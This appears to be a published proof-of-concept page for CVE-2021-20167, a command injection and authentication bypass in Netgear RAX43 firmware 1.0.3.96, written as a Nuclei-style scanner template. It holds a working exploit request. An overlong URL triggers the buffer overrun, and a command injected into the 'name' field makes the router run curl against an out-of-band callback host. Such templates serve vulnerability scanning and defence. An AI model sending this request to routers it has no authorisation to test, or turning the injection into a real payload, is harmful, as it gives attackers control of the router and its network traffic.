CVE-2021-20167: Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun

2025-08-01 Netgear RAX43 PoC Public

Description

Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.

PoC

id: CVE-2021-20167

info:
  name: Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun
  author: gy741
  severity: high
  description: 'Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.'
  impact: |
    Authenticated attackers can execute arbitrary commands on the router, potentially compromising all network traffic and connected devices.
  remediation: Upgrade to newer release of the RAX43 firmware.
  reference:
    - https://www.tenable.com/security/research/tra-2021-55
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20166
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20167
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8
    cve-id: CVE-2021-20167
    cwe-id: CWE-77
    epss-score: 0.07783
    epss-percentile: 0.94342
    cpe: cpe:2.3:o:netgear:rax43_firmware:1.0.3.96:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: rax43_firmware
  tags: cve2021,cve,tenable,netgear,rce,router,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
        Host: {{Hostname}}

        "name":"';$(curl {{interactsh-url}});'",
        "email":"a@b.c"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a0047304502207785af08c5138aabe45801cb0d1f41e3bd9bc7e35d449933c0401435cafdc9da022100e3496f47a4e3e2c995101d8db712f0de35c3592c8785e3c33a145daa862110cb:922c64590222798bb761d5b6d8e72950

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References

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